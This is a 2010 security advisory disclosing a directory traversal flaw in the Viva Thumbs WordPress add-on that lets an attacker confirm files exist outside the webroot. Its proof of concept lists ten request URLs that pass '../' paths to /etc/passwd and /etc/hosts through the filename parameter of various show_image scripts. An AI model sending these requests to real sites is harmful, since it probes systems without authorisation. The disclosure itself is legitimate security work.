http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-04

PR10-04 Directory traversal limited to file validation within Viva
thumbs WordPress add-on


Advisory publicly released: Tuesday, 21 December 2010
Vulnerability found: Thursday, 4 February 2010
Vendor informed: Monday, 8 February 2010
Severity level: Low/Medium
Credits
Richard Brain of ProCheckUp Ltd (www.procheckup.com)
Description
Viva Thumbs resizes and display images, as part of a popular WordPress
plugin.ProCheckUp has discovered that Viva Thumbs is vulnerable to a
directory traversal attack within the image display functionality, the
directory traversal attack is limited to file existence validation.

Note: tested on Viva Thumbs running on the Linux operating system.
Proof of concept
The following demonstrate the traversal flaw:

1) Vulnerable to directory traversal

http://target-domain.foo/show_image_NpAdvCatPG.php?cache=false&cat=1&filename=/../../../../../../etc/passwd


http://target-domain.foo/show_image_NpAdvHover.php?cache=false&cat=0&filename=/../../../../../../etc/passwd


http://target-domain.foo/show_image_NpAdvInnerSmall.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvMainFea.php?cache=false&cat=1&filename=/../../../../../../etc/passwd


http://target-domain.foo/show_image_NpAdvMainPGThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvFeaThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvSecondaryRight.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvSideFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvSinglePhoto.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvSubFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


Consequences:
The existance of files can be validated on the system, outside the
WordPress webroot.
How to fix
None available
References


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